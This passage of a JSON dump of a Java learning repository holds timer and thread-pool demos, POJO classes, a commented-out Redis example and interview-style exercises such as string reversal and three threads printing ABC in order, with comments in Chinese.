System.out.println(\"成功创建！\");\n\t}\n\t\n\t\n\n\n\t/**\n\t * @param name2\n\t */\n\tprivate static void test3(String name) {\n\t\tif(null == name) {\n\t\t\tthrow new NullPointerException(\"name is null\");\n\t\t}\n\t\tSystem.out.println(name);\n\t}\n\t\n\t/**\n\t * @param name2\n\t */\n\tprivate static void test4(@NonNull String name) {\n\t\tSystem.out.println(name);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/others/TimerTest.java",
    "content": "package com.jun.plugin.others;\nimport java.util.Calendar;\nimport java.util.Date;\n/**\n * @author ZERO\n * @Data 2017-6-3 下午2:37:04\n * @Description \n */\nimport java.util.Timer;\nimport java.util.TimerTask;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;  \n  \n\n/**\n * \n* @Title: TimerTest\n* @Description: 定时器测试代码\n* @Version:1.0.0  \n* @author pancm\n* @date 2017年6月13日\n */\npublic class TimerTest {  \n    public static void main(String[] args) {  \n//    \ttimer1();\n//    \ttimer2();\n    \ttimer3();\n//    \ttimer4();\n//    \ttimer5();\n//    \ttimer6();\n//    \ttimer7();\n    }  \n    \n    \n    /** \n     * 普通thread \n     * 这是最常见的，创建一个thread，然后让它在while循环里一直运行着， \n     * 通过sleep方法来达到定时任务的效果。这样可以快速简单的实现，代码如下： \n     */ \n    public static void timer1(){\n    \t  final long timeInterval = 1000;  \n          Runnable runnable = new Runnable() {  \n              public void run() {  \n                  while (true) {  \n                      // ------- code for task to run  \n                      System.out.println(\"timer1 Hello !!\");  \n                      // ------- ends here  \n                      try {  \n                          Thread.sleep(timeInterval);  \n                      } catch (InterruptedException e) {  \n                          e.printStackTrace();  \n                      }  \n                  }  \n              }  \n          };  \n          Thread thread = new Thread(runnable);  \n          thread.start();  \n    }\n   \n    /** \n     * 于第一种方式相比，优势 1>当启动和去取消任务时可以控制 2>第一次执行任务时可以指定你想要的delay时间 \n     * 在实现时，Timer类可以调度任务，TimerTask则是通过在run()方法里实现具体任务。 Timer实例可以调度多任务，它是线程安全的。 \n     * 当Timer的构造器被调用时，它创建了一个线程，这个线程可以用来调度任务。 下面是代码： \n     */ \n    public static void timer2(){\n    \t TimerTask task = new TimerTask() {  \n             @Override  \n             public void run() {  \n                 // task to run goes here  \n                 System.out.println(\"timer2 Hello !!!\");  \n             }  \n         };  \n         Timer timer = new Timer();  \n         long delay = 0;  \n         long intevalPeriod = 1 * 1000;  \n         // schedules the task to be run in an interval  \n         timer.scheduleAtFixedRate(task, delay, intevalPeriod);  \n    }\n    \n    /** \n     * ScheduledExecutorService是从Java SE5的java.util.concurrent里，做为并发工具类被引进的，这是最理想的定时任务实现方式。  \n     * 相比于上两个方法，它有以下好处： \n     * 1>相比于Timer的单线程，它是通过线程池的方式来执行任务的  \n     * 2>可以很灵活的去设定第一次执行任务delay时间 \n     * 3>提供了良好的约定，以便设定执行的时间间隔 \n     * 下面是实现代码，我们通过ScheduledExecutorService#scheduleAtFixedRate展示这个例子，通过代码里参数的控制，首次执行加了delay时间。 \n     */\n    public static void timer3(){\n    \t Runnable runnable = new Runnable() {  \n             public void run() {  \n                 // task to run goes here  \n                 System.out.println(\"timer3  Hello !!\");  \n             }  \n         };  \n         ScheduledExecutorService service = Executors  .newSingleThreadScheduledExecutor();  \n         // 第二个参数为首次执行的延时时间10s,，第三个参数为定时执行的间隔时间   2s\n         service.scheduleAtFixedRate(runnable, 10, 2, TimeUnit.SECONDS); \n    }\n    \n    \n    // 设定指定任务task在指定时间time执行 schedule(TimerTask task, Date time)\n    public static void timer4() {\n      Timer timer = new Timer();\n      timer.schedule(new TimerTask() {\n        public void run() {\n          System.out.println(\"timer1()  -------设定要指定任务--------\");\n        }\n      }, 2000);// 设定指定的时间time,此处为2000毫秒\n    }\n   \n    // 设定指定任务task在指定延迟delay后进行固定延迟peroid的执行\n    // schedule(TimerTask task, long delay, long period)\n    public static void timer5() {\n      Timer timer = new Timer();\n      timer.schedule(new TimerTask() {\n        public void run() {\n          System.out.println(\"timer2()  -------设定要指定任务--------\");\n        }\n      }, 1000, 5000);\n    }\n   \n    // 设定指定任务task在指定延迟delay后进行固定频率peroid的执行。\n    // scheduleAtFixedRate(TimerTask task, long delay, long period)\n    public static void timer6() {\n      Timer timer = new Timer();\n      timer.scheduleAtFixedRate(new TimerTask() {\n        public void run() {\n          System.out.println(\"timer3()  -------设定要指定任务--------\");\n        }\n      }, 1000, 2000);\n    }\n     \n    // 安排指定的任务task在指定的时间firstTime开始进行重复的固定速率period执行．\n    // Timer.scheduleAtFixedRate(TimerTask task,Date firstTime,long period)\n    public static void timer7() {\n      Calendar calendar = Calendar.getInstance();\n      calendar.set(Calendar.HOUR_OF_DAY, 12); // 控制时\n      calendar.set(Calendar.MINUTE, 0);    // 控制分\n      calendar.set(Calendar.SECOND, 0);    // 控制秒\n   \n      Date time = calendar.getTime();     // 得出执行任务的时间,此处为今天的12：00：00\n   \n      Timer timer = new Timer();\n      timer.scheduleAtFixedRate(new TimerTask() {\n        public void run() {\n          System.out.println(\"timer4()  -------设定要指定任务--------\");\n        }\n      }, time, 1000 * 60 * 60 * 24);// 这里设定将延时每天固定执行\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/others/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 一些其他的测试代码\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月21日\n*/\npackage com.jun.plugin.others;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/pojo/Student.java",
    "content": "package com.jun.plugin.pojo;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport lombok.ToString;\nimport lombok.extern.log4j.Log4j;\n\n/**\n * \n* Title: Class\n* Description: \n* 学生信息表\n* Version:1.0.0  \n* @author pancm\n* @date 2018年1月11日\n */\n/*@Data   ：注解在类上；提供类所有属性的 getting 和 setting 方法，此外还提供了equals、canEqual、hashCode、toString 方法\n@Setter：注解在属性上；为属性提供 setting 方法\n@Getter：注解在属性上；为属性提供 getting 方法\n@Log4j ：注解在类上；为类提供一个 属性名为log 的 log4j 日志对象\n@NoArgsConstructor：注解在类上；为类提供一个无参的构造方法\n@AllArgsConstructor：注解在类上；为类提供一个全参的构造方法*/\n@Data\n@Log4j\n@NoArgsConstructor\n@AllArgsConstructor\n@ToString(exclude = {\"id\",\"name\"})\n@SuppressWarnings(\"unused\")\npublic class Student {\n    /** 学生id */\n\tprivate int id;\n\t/** 学生姓名 */\n\tprivate String name;\n\t/** 班级ID  */\n\tprivate int  classId;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/pojo/User.java",
    "content": "package com.jun.plugin.pojo;\n\nimport java.util.Map;\n\nimport com.jun.plugin.utils.MyTools;\n\n/**\n * \n * @Title: User \n * @Description:用户pojo类 \n * @Version:1.0.0\n * @author pancm\n * @date 2017年9月26日\n */\npublic class User {\n\n\t/** 编号 */\n\tprivate int id;\n\t/** 姓名 */\n\tprivate String name;\n\n\tpublic User() {\n\t}\n\n\t/**\n\t * 构造方法\n\t * \n\t * @param id\n\t *            编号\n\t * @param name\n\t *            姓名\n\t */\n\tpublic User(int id, String name) {\n\t\tsuper();\n\t\tthis.id = id;\n\t\tthis.name = name;\n\t}\n\n\t/**\n\t * 获取编号\n\t * \n\t * @return id\n\t */\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\n\t/**\n\t * 设置编号\n\t * \n\t * @param id\n\t */\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\n\t/**\n\t * 获取姓名\n\t * \n\t * @return name\n\t */\n\tpublic String getName() {\n\t\tSystem.out.println(\"姓名:\"+name);\n\t\treturn name;\n\t}\n\n\t/**\n\t * 设置姓名\n\t * \n\t * @param name\n\t */\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\t\n\t\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic Map toMap() {\n\t\treturn MyTools.toMap(toString());\n\t}\n\t/** \n\t * \n\t */\n\t@Override\n\tpublic String toString() {\n\t\treturn MyTools.toString(this);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/pojo/package-info.java",
    "content": "/**\n * @Title: package-info\n * @Description: 一些pojo类\n * @Version:1.0.0  \n * @author pancm\n * @date 2017年11月7日\n */\npackage com.jun.plugin.pojo;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/question/QuestionTest1.java",
    "content": "package com.jun.plugin.question;\n\n/**\n * @Title: QuestionTest1\n * @Description:\n * @Version:1.0.0\n * @author pancm\n * @date 2017年7月21日\n */\npublic class QuestionTest1 {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\n\t\t/*\n\t\t * 在一个二维数组中，每一行都按照从左到右递增的顺序排序， 每一列都按照从上到下递增的顺序排序。请完成一个函数，\n\t\t * 输入这样的一个二维数组和一个整数，判断数组中是否含有该整数。\n\t\t */\n\t\tint target = 4;\n\t\tint target1 = 5;\n\t\tint target2 = 6;\n\t\tint[][] array = { { 1, 2, 3, 4 }, { 1, 2, 3, 4, 5 } };\n\t\tSystem.out.println(Find(target, array));\n\t\tSystem.out.println(Find(target1, array));\n\t\tSystem.out.println(Find(target2, array));\n\t\tSystem.out.println(Find2(target, array));\n\t\tSystem.out.println(Find2(target1, array));\n\t\tSystem.out.println(Find2(target2, array));\n\t\t\n\t\t\n\n\t}\n\n\t/**\n\t * 方法一：最笨的方法，利用双重循环找到\n\t * \n\t * @param target\n\t * @param array\n\t * @return\n\t */\n\tpublic static boolean Find(int target, int[][] array) {\n\t\tfor (int[] i : array) {\n\t\t\tfor (int j : i) {\n\t\t\t\tif (j == target) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\t/**\n\t * 方法二: 最优解法。 思路：首先我们选择从左下角开始搜寻， (为什么不从左上角开始搜寻，左上角向右和向下都是递增，那么对于一个点，\n\t * 对于向右和向下会产生一个岔路；如果我们选择从左下脚开始搜寻的话， 如果大于就向右，如果小于就向下)。\n\t * \n\t * @param target\n\t * @param array\n\t * @return\n\t */\n\tpublic static boolean Find2(int target, int[][] array) {\n\t\tint len = array.length - 1; // 得出二维数组的列长度\n\t\tint i = 0;\n\t\twhile ((len > 0) && (i < array[0].length)) {\n\t\t\tif (array[len][i] > target) { // 如果左下角的数值大于要找的数字，则向右，否则向下\n\t\t\t\tlen--;\n\t\t\t} else if (array[len][i] < target) {\n\t\t\t\ti++;\n\t\t\t} else {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/question/QuestionTest2.java",
    "content": "package com.jun.plugin.question;\n\n/**\n * @Title: QuestionTest1\n * @Description:\n * @Version:1.0.0\n * @author pancm\n * @date 2017年7月21日\n */\npublic class QuestionTest2 {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\n\t\t/*\n\t\t * 请实现一个函数，将一个字符串中的空格替换成“%20”。\n\t\t * 例如，当字符串为We Are Happy.则经过替换之后的字符串为We%20Are%20Happy。\n\t\t */\n\t\tStringBuffer str=new StringBuffer(\"We Are Happy\"); \n\t\tSystem.out.println(replaceString(str));\n\t\tSystem.out.println(replaceString2(str));\n\t\t\n\t\t\n\t}\n\n\t/**\n\t *  方法一：利用String的replace 直接替换\n\t * @param str\n\t * @return String\n\t */\n\tpublic static String replaceString(StringBuffer str){\n\t\tif(str==null){\n\t\t\treturn null;\n\t\t}\n\t\treturn \tstr.toString().replaceAll(\" \", \"%20\");\n\t}\n\n\t/**\n\t * 方法二:利用数组循环取出\n\t * @param str\n\t * @return\n\t */\n\tpublic static String replaceString2(StringBuffer str){\n\t\tif(str==null){\n\t\t\treturn null;\n\t\t}\n\t\tchar []c =str.toString().toCharArray();\n\t\tStringBuffer sb=new StringBuffer();\n\t\tfor(int i=0;i<c.length;i++){\n\t\t\tif(c[i]==' '){\n\t\t\t\tsb.append(\"%20\");\t\t\t\t\n\t\t\t}else{\n\t\t\t\tsb.append(c[i]);\n\t\t\t}\t\t\n\t\t}\n\t\treturn sb.toString();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/question/QuestionTest3.java",
    "content": "package com.jun.plugin.question;\n\n/**\n * @Title: QuestionTest1\n * @Description:\n * @Version:1.0.0\n * @author pancm\n * @date 2017年7月21日\n */\npublic class QuestionTest3 {\n\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t/*\n\t\t * 请实现字符串反转，也就是 输入 abc，输出 cba\n\t\t */\n\t\tString str=\"hello xuwujing\";\n\t\tSystem.out.println(reverseString(str));\n\t}\n\n\tpublic static String reverseString(String str){\n\t\tif(str==null||str.length()<=1){\n\t\t\treturn str;\n\t\t}\t\n\t\treturn reverseString(str.substring(1))+str.charAt(0);\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/question/QuestionTest4.java",
    "content": "package com.jun.plugin.question;\n\nimport java.util.BitSet;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.Semaphore;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n/**\n* @Title: QuestionTest4\n* @Description: 三个线程，打印ABC\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年12月25日\n*/\npublic class QuestionTest4 {\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t// 只打印一次\n\n//\t\tprintOnceLatch();\n\t\tSystem.out.println(\"\");\n//\t\ttry {\n//\t\t\tprintOnceLatch2();\n//\t\t} catch (InterruptedException e) {\n//\t\t\te.printStackTrace();\n//\t\t}\n\n\t\tSystem.out.println(\"\");\n\n\t\t// 十次\n//\t\tprintTenTimesSemaphore();\n//\t\tprintTenTimes();\n\t\tprintTenTimesWaitNotif();\n\t\t\n\t}\n\n\t// 利用jdk1.5的CountDownLatch方法实现\n\tprivate static void printOnceLatch() {\n\t\tfinal CountDownLatch countDownLatchForB = new CountDownLatch(1); // 为 B 准备的闭锁，只有该闭锁倒数到 0 ，B 才可以运行\n\t\tfinal CountDownLatch countDownLatchForC = new CountDownLatch(1); // 为 C 准备的闭锁，只有该闭锁倒数到 0 ，C 才可以运行\n\t\tfinal Thread threadA = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tSystem.out.print(\"A\");\n\t\t\t\t// B 要在 A 运行完才能运行，就由 A 来倒数\n\t\t\t\tcountDownLatchForB.countDown();\n\t\t\t}\n\t\t};\n\t\tfinal Thread threadB = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t\t// 等待 A （使用给 B 的闭锁）倒数\n\t\t\t\t\tcountDownLatchForB.await();\n\t\t\t\t\tSystem.out.print(\"B\");\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} finally {\n\t\t\t\t\tcountDownLatchForC.countDown();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\tfinal Thread threadC = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t\tcountDownLatchForC.await();\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} finally {\n\t\t\t\t\tSystem.out.print(\"C\");\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\tthreadA.start();\n\t\tthreadB.start();\n\t\tthreadC.start();\n\t}\n\n//利用join来进行\n\tprivate static void printOnceLatch2() throws InterruptedException {\n\t\tfinal Thread threadA = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tSystem.out.print(\"A\");\n\t\t\t}\n\t\t};\n\t\tfinal Thread threadB = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t\tSystem.out.print(\"B\");\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\tfinal Thread threadC = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t\tSystem.out.print(\"C\");\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} finally {\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\tthreadA.start();\n\t\tthreadA.join();\n\t\tthreadB.start();\n\t\tthreadB.join();\n\t\tthreadC.start();\n\t\tthreadC.join();\n\t}\n\n\t/*\n\t * 使用信号量 Semaphore 类，三个线程每一个都有一个信号量，信号量等于 0 将被阻塞， 等于 1\n\t * 可以运行，因为每次只能有一个线程在运行，因此信号量总和应该为 1 ，相当于一个令牌在传递一样。\n\t */\n\tprivate static void printTenTimesSemaphore() {\n\t\tfinal Semaphore semaphoreForA = new Semaphore(1); // A 最开始执行, 所以是 1\n\t\tfinal Semaphore semaphoreForB = new Semaphore(0);\n\t\tfinal Semaphore semaphoreForC = new Semaphore(0);\n\t\tfinal Thread threadA = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tfor (int i = 0; i < 10; i++) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tsemaphoreForA.acquire();\n\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tSystem.out.print(\"A\");\n\t\t\t\t\t\tsemaphoreForB.release(); // 给 B 的信号加 1 ,让 B 可以获得信号去执行\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\tfinal Thread threadB = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tfor (int i = 0; i < 10; i++) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tsemaphoreForB.acquire(); // 申请信号, 只有当信号量大于 0 时才不会被阻塞\n\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tSystem.out.print(\"B\");\n\t\t\t\t\t\tsemaphoreForC.release(); // 给 C 的信号加 1, 让 C 可以获得信号执行\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\tfinal Thread threadC = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tfor (int i = 0; i < 10; i++) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tsemaphoreForC.acquire();\n\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tSystem.out.print(\"C\");\n\t\t\t\t\t\tsemaphoreForA.release();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\tthreadA.start();\n\t\tthreadB.start();\n\t\tthreadC.start();\n\t}\n\n\t/**\n\t * 使用 j.u.c 包中的原子变量，该变量的效果实际和令牌一样，只是根据该变量的状态来判断当前线程是不是可以运行，\n\t * 代码用到了 yield 方法，该方法可以让当前线程主动放弃执行权。\n\t */\n\tprivate static void printTenTimes() {\n\t\tfinal AtomicInteger token = new AtomicInteger(0);\n\t\tfinal Thread threadA = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tfor (int i = 0; i < 10; i++) {\n\t\t\t\t\twhile (token.get() % 3 != 0) {\n\t\t\t\t\t\tyield(); // 不是 A 运行的时候, 让出执行权\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.print(\"A\");\n\t\t\t\t\ttoken.incrementAndGet(); // 由于增加 1 后被 3 模余数 1, 而被 3 模余数 1 是 B 可以运行的, 此步相当于把令牌传递给 B\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\tfinal Thread threadB = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tfor (int i = 0; i < 10; i++) {\n\t\t\t\t\twhile (token.get() % 3 != 1) {\n\t\t\t\t\t\tyield();\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.print(\"B\");\n\t\t\t\t\ttoken.incrementAndGet();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\tfinal Thread threadC = new Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tfor (int i = 0; i < 10; i++) {\n\t\t\t\t\twhile (token.get() % 3 != 2) {\n\t\t\t\t\t\tyield();\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.print(\"C\");\n\t\t\t\t\ttoken.incrementAndGet();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\tthreadA.start();\n\t\tthreadB.start();\n\t\tthreadC.start();\n\t}\n\n\t/**\n\t * 使用 wait 和 notify 方法实现\n\t * 使用到了 BitSet 类，其中的 mutex 变量作为三个线程的互斥锁\n\t */\n\tprivate static void printTenTimesWaitNotif () {\n\t    final BitSet mutex = new BitSet (3);\n\t    final Thread threadA = new Thread () {\n\t        @Override\n\t        public void run () {\n\t            for (int i = 0; i < 10; i++) {\n\t                try {\n\t                    synchronized (mutex) {\n\t                        while (!mutex.get (0)) {\n\t                            mutex.wait ();\n\t                        }\n\t                        System.out.print (\"A\");\n\t                        mutex.clear (0);\n\t                        mutex.set (1);\n\t                        mutex.notify ();\n\t                    }\n\t                } catch (Exception e) {\n\t                    e.printStackTrace ();\n\t                }\n\t            }\n\t        }\n\t    };\n\t    final Thread threadB = new Thread () {\n\t        @Override\n\t        public void run () {\n\t            for (int i = 0; i < 10; i++) {\n\t                try {\n\t                    synchronized (mutex) {\n\t                        while (!mutex.get (1)) {\n\t                            mutex.wait ();\n\t                        }\n\t                        System.out.print (\"B\");\n\t                        mutex.clear (1);\n\t                        mutex.set (2);\n\t                        mutex.notify ();\n\t                    }\n\t                } catch (Exception e) {\n\t                    e.printStackTrace ();\n\t                }\n\t            }\n\t        }\n\t    };\n\t    final Thread threadC = new Thread () {\n\t        @Override\n\t        public void run () {\n\t            for (int i = 0; i < 10; i++) {\n\t                try {\n\t                    synchronized (mutex) {\n\t                        while (!mutex.get (2)) {\n\t                            mutex.wait ();\n\t                        }\n\t                        System.out.print (\"C\");\n\t                        mutex.clear (2);\n\t                        mutex.set (0);\n\t                        mutex.notify ();\n\t                    }\n\t                } catch (Exception e) {\n\t                    e.printStackTrace ();\n\t                }\n\t            }\n\t        }\n\t    };\n\t    threadA.start ();\n\t    threadB.start ();\n\t    threadC.start ();\n\t    synchronized (mutex) {\n\t        mutex.set (0);\n\t        mutex.notify ();\n\t    }\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/question/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 一些面试可能会问到的题型\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月21日\n*/\npackage com.jun.plugin.question;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/redis/RedisTest.java",
    "content": "// This file is commented out — functionality moved to jun_redis module.\n// See jun_redis for Redis client examples.\n/*\npackage com.jun.plugin.redis;\n\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Set;\n\nimport redis.clients.jedis.Jedis;\n\npublic class RedisTest {\n\n\tpublic static void main(String[] args) {\n\t\tJedis jedis = new Jedis(\"127.0.0.1\");\n\t\tSystem.out.println(\"连接成功\");\n\t\tSystem.out.println(\"服务正在运行: \" + jedis.ping());\n\n\t\tjedis.lpush(\"list\", \"redis\");\n\t\tjedis.lpush(\"list\", \"java\");\n\t\tjedis.lpush(\"list\", \"mysql\");\n\t\tList<String> list = jedis.lrange(\"list\", 0, 2);\n\t\tfor (int i = 0, j = list.size(); i < j; i++) {\n\t\t\tSystem.out.println(\"list的输出结果:\" + list.get(i));\n\t\t}\n\n\t\tjedis.set(\"rst\", \"redisStringTest\");\n\t\tSystem.out.println(\"redis 存储的字符串为: \" + jedis.get(\"rst\"));\n\n\t\tjedis.sadd(\"setTest1\", \"abc\");\n\t\tjedis.sadd(\"setTest1\", \"abcd\");\n\t\tjedis.sadd(\"setTest1\", \"abcde\");\n\t\tSet<String> keys = jedis.keys(\"*\");\n\t\tIterator<String> it = keys.iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tString key = it.next();\n\t\t\tSystem.out.println(key);\n\t\t}\n\n\t}\n\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/redis/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: redis 相关代码\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月21日\n*/\npackage com.jun.plugin.redis;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/sql/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 数据库相关的代码\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月21日\n*/\npackage com.jun.plugin.sql;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/ThreadPoolTest.java",
    "content": "package com.jun.plugin.thread;\n\nimport java.text.DateFormat;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * \n* @Title: ThreadPoolTest\n* @Description:\n* 线程池测试 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年3月1日\n */\npublic class ThreadPoolTest {\n\n\tpublic static void main(String[] args) {\n//\t\tcachedThreadPool();\n//\t\tfixedThreadPool();\n//\t\tnewSingleThreadExecutor();\n//\t\tnewScheduledThreadPool();\n//\t\tnewScheduledThreadPool2();\n\t\tthreadPoolExecutor();\n\t}\n\t\n\t/**\n\t * 创建一个可缓存的线程池，如果当前线程池的规模超出了处理需求，将回收空的线程；当需求增加时，会增加线程数量；线程池规模无限制。\n\t */\n\tprivate  static void cachedThreadPool() {\n\t\tExecutorService exec=Executors.newCachedThreadPool();\n\t\tfor(int i=0;i<10;i++){\n\t\t\texec.execute(new MyThread(String.valueOf(i)));\n\t\t}\n\t\t//执行到此处并不会马上关闭线程池,执行完成之后才会关闭 但之后不能再往线程池中加线程，否则会报错  \n\t\texec.shutdown(); \n\t\tSystem.out.println(\"运行结束！\");\n\t\t/**\n\t\t * 1、主线程的执行与线程池里的线程分开，有可能主线程结束了，但是线程池还在运行\n\t\t * 2、放入线程池的线程并不一定会按其放入的先后而顺序执行\n\t\t * \n\t\t */\n\t}\n\t\n\t/**\n\t * 创建一个固定长度的线程池，当到达线程最大数量时，线程池的规模将不再变化。\n\t */\n\tprivate static void fixedThreadPool() {\n\t\tExecutorService exec = Executors.newFixedThreadPool(5);     \n\t     for(int i = 0; i < 10; i++) {     \n\t            exec.execute(new MyThread(String.valueOf(i)));     \n\t     }     \n\t     exec.shutdown();  //执行到此处并不会马上关闭线程池  \n\t     System.out.println(\"运行结束！\");\n\t     /**\n\t      * 1线程开始运行,时间2018-03-01 11:50:33 170\n\t\t\t4线程开始运行,时间2018-03-01 11:50:33 170\n\t\t\t3线程开始运行,时间2018-03-01 11:50:33 170\n\t\t\t2线程开始运行,时间2018-03-01 11:50:33 170\n\t\t\t0线程开始运行,时间2018-03-01 11:50:33 170\n\t\t\t4线程运行结束,时间2018-03-01 11:50:34 171\n\t\t\t3线程运行结束,时间2018-03-01 11:50:34 171\n\t\t\t2线程运行结束,时间2018-03-01 11:50:34 171\n\t\t\t5线程开始运行,时间2018-03-01 11:50:34 172\n\t\t\t6线程开始运行,时间2018-03-01 11:50:34 172\n\t\t\t7线程开始运行,时间2018-03-01 11:50:34 172\n\t\t\t1线程运行结束,时间2018-03-01 11:50:34 172\n\t\t\t0线程运行结束,时间2018-03-01 11:50:34 172\n\t\t\t8线程开始运行,时间2018-03-01 11:50:34 172\n\t\t\t9线程开始运行,时间2018-03-01 11:50:34 172\n\t\t\t8线程运行结束,时间2018-03-01 11:50:35 181\n\t\t\t6线程运行结束,时间2018-03-01 11:50:35 181\n\t\t\t9线程运行结束,时间2018-03-01 11:50:35 181\n\t\t\t7线程运行结束,时间2018-03-01 11:50:35 181\n\t\t\t5线程运行结束,时间2018-03-01 11:50:35 181\n\t\t\t\n\t\t\t结论:1,FixedThreadPool模式会使用一个优先固定数目的线程来处理若干数目的任务。\n\t\t\t    2,FixedThreadPool模式下最多 的线程数目是一定的。\n\t\t\t\n\t      */\n\t}\n\t\n\t/**\n\t * 创建一个单线程的Executor，确保任务对了，串行执行\n\t */\n\tprivate static void newSingleThreadExecutor() {\n\t\t ExecutorService exec = Executors.newSingleThreadExecutor();   //创建大小为1的固定线程池  \n\t     for(int i = 0; i < 10; i++) {     \n\t            exec.execute(new MyThread(String.valueOf(i)));     \n\t     }     \n\t     exec.shutdown();  //执行到此处并不会马上关闭线程池  \n\t     System.out.println(\"运行结束！\");\n\t}\n\t\n\t\n\t/**\n\t * 创建一个固定长度的线程池，而且以延迟或者定时的方式来执行，类似Timer；\n\t */\n\tprivate static void newScheduledThreadPool() {\n\t\t ScheduledThreadPoolExecutor  exec = (ScheduledThreadPoolExecutor) 